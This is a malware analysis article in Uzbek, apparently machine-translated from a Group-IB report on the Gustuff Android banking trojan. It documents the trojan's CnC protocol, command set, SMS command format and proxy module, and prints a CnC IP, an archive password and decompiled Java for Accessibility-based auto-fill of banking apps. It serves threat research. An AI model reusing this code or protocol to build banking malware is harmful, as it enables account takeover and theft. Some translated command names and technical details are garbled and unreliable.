Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi

Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi

Yaqin kunlarda Group-IB xabar berdi mobil Android troyan Gustuff faoliyati haqida. U faqat xalqaro bozorlarda ishlaydi, 100 ta eng yirik xorijiy banklarning mijozlariga, mobil 32 kripto hamyonlaridan foydalanuvchilarga, shuningdek, yirik elektron tijorat resurslariga hujum qiladi. Ammo Gustuff ishlab chiqaruvchisi Bestoffer laqabi ostida rus tilida so'zlashuvchi kiberjinoyatchi. Yaqin vaqtgacha u o'zining troyanini "bilim va tajribaga ega odamlar uchun jiddiy mahsulot" deb maqtardi.

Group-IBda zararli kodlarni tahlil qilish bo'yicha mutaxassis Ivan Pisarev tadqiqotida u Gustuff qanday ishlashi va uning xavf-xatarlari haqida batafsil gapirib beradi.

Gustuff kimga ov qilmoqda?

Gustuff to'liq avtomatlashtirilgan funktsiyalarga ega zararli dasturlarning yangi avlodiga tegishli. Ishlab chiquvchining so‘zlariga ko‘ra, troyan AndyBot zararli dasturining yangi va takomillashtirilgan versiyasiga aylandi, u 2017 yilning noyabr oyidan boshlab Android telefonlariga hujum qilib, taniqli xalqaro banklar va to‘lov tizimlarining mobil ilovalari sifatida niqoblangan fishing veb-shakllari orqali pul o‘g‘irlash bilan shug‘ullanadi. Bestoffer xabariga ko'ra, Gustuff Bot ijarasi oyiga 800 dollarni tashkil qilgan.

Gustuff namunasi tahlili shuni ko'rsatdiki, troyan Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank kabi yirik banklarning mobil ilovalari hamda kripto hamyonlaridan foydalangan holda mijozlarga mo'ljallangan. Bitcoin Wallet, BitPay, Cryptopay, Coinbase va boshqalar.

Dastlab klassik bank troyan sifatida yaratilgan, joriy versiyada Gustuff hujum uchun potentsial maqsadlar ro'yxatini sezilarli darajada kengaytirdi. Banklar, fintech kompaniyalari va kripto xizmatlari uchun Android ilovalaridan tashqari, Gustuff bozor ilovalari, onlayn-do'konlar, to'lov tizimlari va tezkor xabarchilar foydalanuvchilariga mo'ljallangan. Xususan, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut va boshqalar.

Kirish nuqtasi: ommaviy infektsiyani hisoblash

Gustuff APK-larga havolalar bilan SMS-xabarlar orqali Android smartfonlariga kirishning "klassik" vektori bilan tavsiflanadi. Agar Android qurilmasi server buyrug'i bilan troyan bilan zararlangan bo'lsa, Gustuff virusli telefonning kontakt ma'lumotlar bazasi yoki server ma'lumotlar bazasi orqali yanada tarqalishi mumkin. Gustuffning funksionalligi ommaviy infektsiya va uning operatorlari biznesini maksimal darajada kapitallashtirish uchun mo'ljallangan - u qonuniy mobil bank ilovalari va kripto hamyonlarga o'ziga xos "avtomatik to'ldirish" funksiyasiga ega, bu sizga pul o'g'irlashni tezlashtirish va kengaytirish imkonini beradi.

Troyanni o‘rganish shuni ko‘rsatdiki, unda avtoto‘ldirish funksiyasi imkoniyati cheklanganlar uchun xizmat – Accessibility Service yordamida amalga oshirilgan. Gustuff ushbu Android xizmatidan foydalangan holda boshqa ilovalarning oyna elementlari bilan o'zaro ta'sir qilishdan himoyani muvaffaqiyatli chetlab o'tgan birinchi troyan emas. Biroq, Accessibility xizmatidan avtomobil to'ldiruvchisi bilan birgalikda foydalanish hali ham juda kam uchraydi.

Jabrlanuvchining telefoniga yuklab olingandan so'ng, Gustuff Maxsus imkoniyatlar xizmatidan foydalanib, boshqa ilovalarning oyna elementlari (bank, kriptovalyuta, shuningdek onlayn xarid qilish, xabar almashish va boshqalar) bilan o'zaro aloqada bo'lib, tajovuzkorlar uchun zarur bo'lgan harakatlarni amalga oshiradi. . Masalan, server buyrug'i bilan troyan tugmachalarni bosib, bank ilovalaridagi matn maydonlarining qiymatlarini o'zgartirishi mumkin. Accessibility Service mexanizmidan foydalanish troyanga banklar tomonidan oldingi avlod mobil troyanlariga qarshi kurashda foydalaniladigan xavfsizlik mexanizmlarini, shuningdek, Android operatsion tizimining yangi versiyalarida Google tomonidan amalga oshirilgan xavfsizlik siyosatidagi o‘zgarishlarni chetlab o‘tish imkonini beradi. Shunday qilib, Gustuff Google Protect himoyasini o'chirishni "qanday biladi": muallifning so'zlariga ko'ra, bu funksiya 70% hollarda ishlaydi.

Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi

Gustuff, shuningdek, qonuniy mobil ilovalar piktogrammalari bilan soxta PUSH bildirishnomalarini ko'rsatishi mumkin. Foydalanuvchi PUSH bildirishnomasini bosadi va serverdan yuklab olingan fishing oynasini ko'radi, u erda so'ralgan bank kartasi yoki kripto hamyon ma'lumotlarini kiritadi. Boshqa Gustuff stsenariysida PUSH bildirishnomasi ko'rsatilgan dastur ochiladi. Bunday holda, zararli dastur, maxsus imkoniyatlar xizmati orqali serverning buyrug'iga binoan, firibgarlik operatsiyasi uchun bank ilovasining shakl maydonlarini to'ldirishi mumkin.

Gustuff funksiyasi virusga chalingan qurilma haqida maʼlumotni serverga yuborish, SMS xabarlarni oʻqish/yuborish, USSD soʻrovlarini yuborish, SOCKS5 proksi-serverini ishga tushirish, havolaga amal qilish, fayllarni (jumladan, hujjatlarni skanerlash, skrinshotlar, fotosuratlar) yuborishni oʻz ichiga oladi. server , qurilmani zavod sozlamalariga qaytaring.

Zararli dasturlarni tahlil qilish

Zararli dasturni o'rnatishdan oldin, Android operatsion tizimi foydalanuvchiga Gustuff tomonidan so'ralgan huquqlar ro'yxatini o'z ichiga olgan oynani ko'rsatadi:

Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi
Ilova faqat foydalanuvchining roziligini olgandan keyin o'rnatiladi. Ilovani ishga tushirgandan so'ng, troyan foydalanuvchiga oynani ko'rsatadi:

Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi
Shundan so'ng u o'z belgisini olib tashlaydi.

Gustuff, muallifning so'zlariga ko'ra, FTT kompaniyasining qadoqlovchisi tomonidan qadoqlangan. Ishga tushgandan so'ng, dastur vaqti-vaqti bilan buyruqlarni qabul qilish uchun CnC serveriga murojaat qiladi. Biz tekshirgan bir nechta fayllar boshqaruv serveri sifatida IP-manzildan foydalangan 88.99.171[.]105 (bundan keyin biz uni deb belgilaymiz <%CnC%>).

Ishga tushgandan so'ng, dastur serverga xabarlar yuborishni boshlaydi http://<%CnC%>/api/v1/get.php.

Javob quyidagi formatda JSON bo'lishi kutilmoqda:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Ilovaga har safar kirilganda u zararlangan qurilma haqida maʼlumot yuboradi. Xabar formati quyida ko'rsatilgan. Ta'kidlash joizki, dalalar to'liq, qo'shimcha, ilovalar и ruxsat - ixtiyoriy va faqat CnC dan so'rov buyrug'i bo'lgan taqdirda yuboriladi.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfiguratsiya ma'lumotlarini saqlash

Gustuff operatsion muhim ma'lumotlarni afzal faylda saqlaydi. Fayl nomi, shuningdek undagi parametrlarning nomlari qatordan MD5 summasini hisoblash natijasidir. 15413090667214.6.1<%name%>qayerda <%name%> — dastlabki ism-qiymat. Nom yaratish funktsiyasining Python talqini:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Quyida biz uni quyidagicha belgilaymiz nameGenerator(kirish).
Shunday qilib, birinchi fayl nomi: nameGenerator("API_SERVER_LIST"), u quyidagi nomlarga ega qiymatlarni o'z ichiga oladi:

O'zgaruvchan nomi ma'no
nameGenerator("API_SERVER_LIST") Massiv ko'rinishidagi CnC manzillari ro'yxatini o'z ichiga oladi.
nameGenerator("API_SERVER_URL") CnC manzilini o'z ichiga oladi.
nameGenerator("SMS_UPLOAD") Bayroq sukut bo'yicha o'rnatiladi. Agar bayroq o'rnatilgan bo'lsa, CnC ga SMS xabarlarni yuboradi.
nameGenerator("SMS_ROOT_NUMBER") Zararlangan qurilma tomonidan qabul qilingan SMS xabarlar yuboriladigan telefon raqami. Standart nol.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Bayroq sukut bo'yicha o'chiriladi. Agar o'rnatilgan bo'lsa, zararlangan qurilma SMS-xabar olganida, u ildiz raqamiga yuboriladi.
nameGenerator("DEFAULT_APP_SMS") Bayroq sukut bo'yicha o'chiriladi. Agar ushbu belgi o'rnatilgan bo'lsa, dastur kiruvchi SMS xabarlarni qayta ishlaydi.
nameGenerator("DEFAULT_ADMIN") Bayroq sukut bo'yicha o'chiriladi. Agar bayroq o'rnatilgan bo'lsa, dastur administrator huquqlariga ega.
nameGenerator("DEFAULT_ACCESSIBILITY") Bayroq sukut bo'yicha o'chiriladi. Agar bayroq o'rnatilgan bo'lsa, maxsus imkoniyatlar xizmatidan foydalanadigan xizmat ishlayapti.
nameGenerator("APPS_CONFIG") Muayyan ilova bilan bog‘langan maxsus imkoniyatlar hodisasi ishga tushirilganda bajarilishi kerak bo‘lgan amallar ro‘yxatini o‘z ichiga olgan JSON obyekti.
nameGenerator("APPS_INSTALLED") Qurilmada o'rnatilgan ilovalar ro'yxatini saqlaydi.
nameGenerator("IS_FIST_RUN") Birinchi ishga tushirilganda bayroq qayta o'rnatiladi.
nameGenerator("UNIQUE_ID") Noyob identifikatorni o'z ichiga oladi. Bot birinchi marta ishga tushirilganda yaratilgan.

Serverdan buyruqlarni qayta ishlash moduli

Ilova CnC serverlarining manzillarini kodlangan massiv shaklida saqlaydi Baza85 chiziqlar. CnC serverlari ro'yxati tegishli buyruqni olgandan keyin o'zgartirilishi mumkin, bu holda manzillar afzal faylda saqlanadi.

So'rovga javoban server dasturga buyruq yuboradi. Shuni ta'kidlash kerakki, buyruqlar va parametrlar JSON formatida taqdim etiladi. Ilova quyidagi buyruqlarni bajarishi mumkin:

komanda tavsifi
oldinga boshlash Virusli qurilma tomonidan qabul qilingan SMS xabarlarni CnC serveriga yuborishni boshlang.
oldinga to'xtash Virusli qurilma tomonidan qabul qilingan SMS xabarlarni CnC serveriga yuborishni to'xtating.
ussdRun USSD so'rovini bajaring. USSD so'rovini yuborishingiz kerak bo'lgan raqam JSON maydonidagi "raqam" da joylashgan.
SMS yuborish Bitta SMS xabar yuboring (agar kerak bo'lsa, xabar qismlarga bo'linadi). Parametr sifatida buyruq "to" - maqsad raqami va "tana" - xabarning asosiy maydonlarini o'z ichiga olgan JSON ob'ektini oladi.
sendSmsAb Infektsiyalangan qurilmaning kontaktlar ro'yxatidagi barchaga SMS xabarlarni yuboring (agar kerak bo'lsa, xabar "qismlarga bo'linadi"). Xabarlarni yuborish orasidagi interval 10 soniya. Xabarning asosiy qismi JSON maydonida "tana"
sendSmsMass Buyruqlar parametrlarida ko'rsatilgan kontaktlarga SMS-xabarlarni yuboring (agar kerak bo'lsa, xabar "qismlarga bo'linadi"). Xabarlarni yuborish orasidagi interval 10 soniya. Parametr sifatida buyruq JSON massivini ("sms" maydoni) oladi, uning elementlari "to" - maqsad raqami va "tana" - xabarning asosiy qismini o'z ichiga oladi.
serverni o'zgartirish Bu buyruq parametr sifatida “url” kaliti bilan qiymatni qabul qilishi mumkin - keyin bot nameGenerator(“SERVER_URL”) yoki “massiv” qiymatini o‘zgartiradi – keyin bot massivni nameGenerator (“API_SERVER_LIST”) ga yozadi. Shunday qilib, dastur CnC serverlarining manzilini o'zgartiradi.
admin raqami Buyruq ildiz raqami bilan ishlash uchun mo'ljallangan. Buyruq quyidagi parametrlarga ega JSON ob'ektini qabul qiladi: "raqam" - nameGenerator("ROOT_NUMBER") olingan qiymatga o'zgartirish, "qayta yuborish" - nameGeneratorni o'zgartirish("SMS_ROOT_NUMBER_RESEND"), "sendId" - nameGenerator("ROOT_NUMBER") ga yuborish ) yagona ID.
ma'lumotni yangilash Virusli qurilma haqida ma'lumotni serverga yuboring.
ma'lumotlarni o'chirish Buyruq foydalanuvchi ma'lumotlarini o'chirish uchun mo'ljallangan. Ilova qaysi nom bilan ishga tushirilganiga qarab, qurilma qayta ishga tushirilganda ma'lumotlar butunlay o'chiriladi (asosiy foydalanuvchi) yoki faqat foydalanuvchi ma'lumotlari o'chiriladi (ikkilamchi foydalanuvchi).
paypoqStart Proksi-modulni ishga tushiring. Modulning ishlashi alohida bo'limda tasvirlangan.
paypoqlarStop Proksi-modulni to'xtating.
openLink Havolani kuzatib boring. Havola JSON parametrida "url" tugmasi ostida joylashgan. "android.intent.action.VIEW" havolani ochish uchun ishlatiladi.
upload AllSms Qurilma tomonidan qabul qilingan barcha SMS xabarlarni serverga yuboring.
AllPhotos Yuqtirilgan qurilmadan tasvirlarni URL manziliga yuboring. URL parametr sifatida keladi.
yuklash fayli Virusli qurilmadan faylni URL manziliga yuboring. URL parametr sifatida keladi.
Telefon raqamlarini yuklash Kontaktlar ro'yxatidan telefon raqamlarini serverga yuboring. Agar parametr sifatida “ab” tugmasi bo‘lgan JSON obyekt qiymati qabul qilinsa, ilova telefon kitobidan kontaktlar ro‘yxatini oladi. Agar parametr sifatida "sms" kaliti bo'lgan JSON ob'ekti qabul qilinsa, dastur SMS-xabar jo'natuvchilardan kontaktlar ro'yxatini o'qiydi.
Arxivni o'zgartirish Ilova faylni "url" tugmachasi yordamida parametr sifatida kelgan manzildan yuklab oladi. Yuklab olingan fayl “archive.zip” nomi bilan saqlanadi. Ilova ixtiyoriy ravishda “b5jXh37gxgHBrZhQ4j3D” arxiv parolidan foydalanib, faylni ochadi. Ochilgan fayllar [tashqi xotira]/hgps katalogida saqlanadi. Ushbu katalogda dastur veb-fayklarni saqlaydi (quyida tasvirlangan).
aksiyadorlik Buyruq alohida bo'limda tasvirlangan Action Service bilan ishlash uchun mo'ljallangan.
sinov Hech narsa qilmaslik.
download Buyruq faylni uzoq serverdan yuklab olish va uni "Yuklashlar" katalogiga saqlash uchun mo'ljallangan. URL va fayl nomi mos ravishda JSON parametr obyektidagi parametr sifatida keladi: “url” va “fileName”.
olib tashlash "Yuklashlar" katalogidan faylni olib tashlaydi. Fayl nomi JSON parametrida "fileName" kaliti bilan keladi. Standart fayl nomi "tmp.apk".
bildirish Boshqaruv serveri tomonidan belgilangan tavsif va sarlavha matnlari bilan bildirishnomani ko'rsatish.

Buyruq formati bildirish:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Tekshirilayotgan fayl tomonidan yaratilgan bildirishnoma maydonda ko'rsatilgan ilova tomonidan yaratilgan bildirishnomalar bilan bir xil ko'rinadi ilova. Agar maydon qiymati bo'lsa OpenApp — To‘g‘ri, bildirishnoma ochilganda, maydonda ko‘rsatilgan dastur ishga tushadi ilova. Agar maydon qiymati bo'lsa OpenApp - Yolg'on, keyin:

  • Fishing oynasi ochiladi, uning mazmuni katalogdan yuklab olinadi <%tashqi xotira%>/hgps/<%filename%>
  • Fishing oynasi ochiladi, uning mazmuni serverdan yuklab olinadi <%url%>?id=<%Bot id%>&app=<%Ilova nomi%>
  • Google Play kartasi sifatida yashiringan, karta ma'lumotlarini kiritish imkoniyatiga ega bo'lgan fishing oynasi ochiladi.

Ilova istalgan buyruqning natijasini yuboradi <%CnC%>set_state.php JSON obyekti sifatida quyidagi formatda:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Ilova jarayonlari o'z ichiga olgan buyruqlar ro'yxati harakat. Buyruq qabul qilinganda, buyruqni qayta ishlash moduli kengaytirilgan buyruqni bajarish uchun ushbu xizmatga kiradi. Xizmat JSON obyektini parametr sifatida qabul qiladi. Xizmat quyidagi buyruqlarni bajarishi mumkin:

1. PARAMS_ACTION — bunday buyruqni qabul qilishda xizmat birinchi navbatda JSON parametridan Type kalitining qiymatini oladi, u quyidagicha bo‘lishi mumkin:

  • xizmat ma'lumoti - pastki buyruq JSON parametridan kalit bo'yicha qiymatni oladi o'z ichigaNotMuhim. Agar bayroq rost bo'lsa, dastur bayroqni o'rnatadi FLAG_ISOLATED_PROCESS Maxsus imkoniyatlar xizmatidan foydalangan holda xizmatga. Shu tarzda xizmat alohida jarayonda ishga tushiriladi.
  • ildiz — hozirda fokusda boʻlgan oyna haqidagi maʼlumotlarni qabul qilish va serverga yuborish. Ilova ma'lumotni AccessibilityNodeInfo klassi yordamida oladi.
  • admin — administrator huquqlarini so'rash.
  • kechikish — "ma'lumotlar" kaliti parametrida ko'rsatilgan millisekundlar soni uchun ActionsServiceni to'xtatib turing.
  • windows — foydalanuvchiga koʻrinadigan oynalar roʻyxatini yuborish.
  • o'rnatish — dasturni zararlangan qurilmaga o‘rnating. Arxiv paketining nomi "fileName" tugmachasida joylashgan. Arxivning o'zi "Yuklashlar" katalogida joylashgan.
  • global - pastki buyruq joriy oynadan harakatlanish uchun mo'ljallangan:
    • Tez sozlamalar menyusida
    • orqaga qarab
    • uy
    • bildirishnomalarga
    • yaqinda ochilgan ilovalar oynasiga

  • Ishga tushirish - ilovani ishga tushiring. Ilova nomi kalit bo'yicha parametr sifatida keladi ma'lumotlar.
  • tovushlar — ovoz rejimini jimlikka o'zgartiring.
  • qulfini ochish — ekran va klaviaturaning orqa yorug'ligini to'liq yorqinlikka aylantiradi. Ilova ushbu amalni [Application lable]:INFO qatorini teg sifatida belgilab, WakeLock yordamida amalga oshiradi.
  • permissionOverlay — funksiya bajarilmagan (buyruqning bajarilishiga javob: {"message":"Not support"} yoki {"message":"low sdk"})
  • harakati — funksiya bajarilmagan (buyruqning bajarilishiga javob: {"message":"Not support"}yoki {"message":"Low API"})
  • ruxsatlar — bu buyruq ilovaga ruxsat soʻrash uchun zarur. Biroq, so'rov funktsiyasi amalga oshirilmaydi, shuning uchun buyruq ma'nosizdir. So'ralgan huquqlar ro'yxati "ruxsat" kaliti bilan JSON massivi sifatida keladi. Standart ro'yxat:
    • android.permission.READ_PHONE_STATE
    • android.uzatish
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • ochiq — fishing oynasini ko'rsatish. Serverdan keladigan parametrga qarab, dastur quyidagi fishing oynalarini ko'rsatishi mumkin:
    • Katalogdagi faylga mazmuni yozilgan fishing oynasini ko'rsating <%tashqi katalog%>/hgps/<%param_filename%>. Foydalanuvchining oyna bilan o'zaro aloqasi natijasi yuboriladi <%CnC%>/records.php
    • Tarkiblari manzildan oldindan yuklangan fishing oynasini ko'rsating <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Foydalanuvchining oyna bilan o'zaro aloqasi natijasi yuboriladi <%CnC%>/records.php
    • Google Play kartasi sifatida yashiringan fishing oynasini ko'rsating.

  • interaktiv — buyruq AcessibilityService yordamida boshqa ilovalarning oyna elementlari bilan o‘zaro ishlash uchun mo‘ljallangan. O'zaro hamkorlik dasturida maxsus xizmat joriy etilgan. Tekshirilayotgan dastur Windows bilan o'zaro aloqada bo'lishi mumkin:
    • Hozirda faol. Bunday holda, parametr o'zaro aloqada bo'lishingiz kerak bo'lgan ob'ektning identifikatori yoki matnini (nomini) o'z ichiga oladi.
    • Buyruqni bajarish vaqtida foydalanuvchiga ko'rinadi. Ilova identifikator bo'yicha oynalarni tanlaydi.

    Ob'ektlarni qabul qilish AccessibilityNodeInfo Qiziqarli oyna elementlari uchun dastur parametrlarga qarab quyidagi amallarni bajarishi mumkin:

    • fokus - ob'ektga diqqatni o'rnatish.
    • bosing - ob'ektni bosing.
    • actionId — ID orqali amalni bajarish.
    • setText — ob'ekt matnini o'zgartirish. Matnni o'zgartirish ikki yo'l bilan mumkin: harakatni bajarish ACTION_SET_TEXT (agar zararlangan qurilmaning Android versiyasi undan yosh yoki unga teng bo'lsa LOLIPOP) yoki satrni almashish buferiga joylashtirish va uni ob'ektga joylashtirish orqali (eski versiyalar uchun). Ushbu buyruq bank ilovasidagi ma'lumotlarni o'zgartirish uchun ishlatilishi mumkin.

2. PARAMS_ACTIONS - xuddi shunday PARAMS_ACTION, faqat JSON buyruqlar majmuasi keladi.

Ko'p odamlar boshqa dasturning oyna elementlari bilan o'zaro ta'sir qilish funktsiyasi qanday ko'rinishi bilan qiziqadi. Bu funksiya Gustuffda shunday amalga oshiriladi:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Matnni almashtirish funktsiyasi:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Shunday qilib, boshqaruv serverining to'g'ri konfiguratsiyasi bilan Gustuff bank ilovasidagi matn maydonlarini to'ldirishi va tranzaktsiyani yakunlash uchun kerakli tugmalarni bosishi mumkin. Troyan ilovaga kirishi ham shart emas — buning uchun PUSH bildirishnomasini ko‘rsatish uchun buyruq yuborish va keyin avval o‘rnatilgan bank ilovasini ochish kifoya. Foydalanuvchi o‘zini autentifikatsiya qiladi, shundan so‘ng Gustuff avtomobilni to‘ldirishi mumkin bo‘ladi.

SMS xabarlarni qayta ishlash moduli

Ilova infektsiyalangan qurilmaga SMS xabarlarni qabul qilish uchun voqea ishlov beruvchisini o'rnatadi. O'rganilayotgan ilova operatordan SMS-xabarning tanasiga keladigan buyruqlarni qabul qilishi mumkin. Buyruqlar quyidagi formatda keladi:

7!5=<%Base64 kodlangan buyruq%>

Ilova barcha kiruvchi SMS xabarlardagi qatorni qidiradi 7!5=, satr aniqlanganda, u 64-ofsetda Base4 dan satrni dekodlaydi va buyruqni bajaradi. Buyruqlar CnC bilan bir xil. Bajarish natijasi buyruq kelgan raqamga yuboriladi. Javob formati:

7*5=<%Base64 "natija_kodi buyrug'i"%> kodlash

Ixtiyoriy ravishda, dastur barcha qabul qilingan xabarlarni Ildiz raqamiga yuborishi mumkin. Buning uchun afzal faylda ildiz raqami ko'rsatilishi va xabarni qayta yo'naltirish bayrog'i o'rnatilishi kerak. Tajovuzkorning raqamiga quyidagi formatda SMS-xabar yuboriladi:

<%From number%> - <%Vaqt, format: dd/MM/yyyy SS:dd:ss%> <%SMS tanasi%>

Bundan tashqari, ixtiyoriy ravishda, dastur CnC-ga xabar yuborishi mumkin. SMS xabar serverga JSON formatida yuboriladi:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Agar bayroq o'rnatilgan bo'lsa nameGenerator("DEFAULT_APP_SMS") – ilova SMS xabarni qayta ishlashni to‘xtatadi va kiruvchi xabarlar ro‘yxatini o‘chiradi.

Proksi moduli

O'rganilayotgan ilovada konfiguratsiyaga ega statik maydonlarni o'z ichiga olgan alohida sinfga ega bo'lgan Backconnect proksi moduli (keyingi o'rinlarda Proksi moduli deb yuritiladi) mavjud. Konfiguratsiya ma'lumotlari namunada aniq shaklda saqlanadi:

Android troyan Gustuff qanday qilib hisoblaringizdan kremni (fiat va kripto) olib tashlaydi

Proksi-modul tomonidan bajariladigan barcha harakatlar fayllarga kiritilgan. Buning uchun tashqi xotiradagi dastur jurnal fayllari saqlanadigan "jurnallar" (konfiguratsiya sinfidagi ProxyConfigClass.logsDir maydoni) nomli katalogni yaratadi. Jurnal nomlari bo'lgan fayllarda sodir bo'ladi:

  1. main.txt – CommandServer deb nomlangan sinfning ishi ushbu faylga kiritilgan. Keyinchalik, str satrini ushbu faylga kiritish mainLog(str) sifatida belgilanadi.
  2. sessiya-<%id%>.txt — bu fayl maʼlum bir proksi-sessiya bilan bogʻliq jurnal maʼlumotlarini saqlaydi. Keyinchalik, str satrini ushbu faylga kiritish sessionLog (str) sifatida belgilanadi.
  3. server.txt - bu fayl yuqorida tavsiflangan fayllarga yozilgan barcha ma'lumotlarni jurnalga kiritish uchun ishlatiladi.

Jurnal ma'lumotlari formati:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Proksi-modulning ishlashi paytida yuzaga keladigan istisnolar ham faylga qayd etiladi. Buning uchun dastur quyidagi formatda JSON obyektini yaratadi:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Keyin uni satr tasviriga aylantiradi va jurnalga yozadi.

Proksi-modul tegishli buyruqni olgandan so'ng ishga tushiriladi. Proksi-modulni ishga tushirish buyrug'i olinganda, dastur chaqirilgan xizmatni ishga tushiradi Asosiy xizmat, Proksi modulining ishlashini boshqarish uchun mas'ul bo'lgan - uni ishga tushirish va to'xtatish.

Xizmatni ishga tushirish bosqichlari:

1. Daqiqada bir marta ishlaydigan taymerni ishga tushiradi va proksi-modul faoliyatini tekshiradi. Agar modul faol bo'lmasa, uni ishga tushiradi.
Shuningdek, hodisa ishga tushirilganda android.net.conn.CONNECTIVITY_CHANGE Proksi-modul ishga tushirildi.

2. Ilova parametr bilan uyg'onish blokini yaratadi PARTIAL_WAKE_LOCK va uni qo'lga oladi. Bu qurilma protsessorining uyqu rejimiga o'tishini oldini oladi.

3. Proksi modulining buyruqlarni qayta ishlash sinfini ishga tushiradi, birinchi navbatda qatorni qayd qiladi mainLog("serverni ishga tushirish") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

qayerda proxy_cnc, command_port va proxy_port – proksi-server konfiguratsiyasidan olingan parametrlar.

Buyruqlarni qayta ishlash sinfi deyiladi Buyruq ulanishi. Ishga tushgandan so'ng darhol quyidagi amallarni bajaradi:

4. ga ulanadi ProxyConfigClass.host: ProxyConfigClass.commandPort va zararlangan qurilma haqidagi ma'lumotlarni JSON formatida yuboradi:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
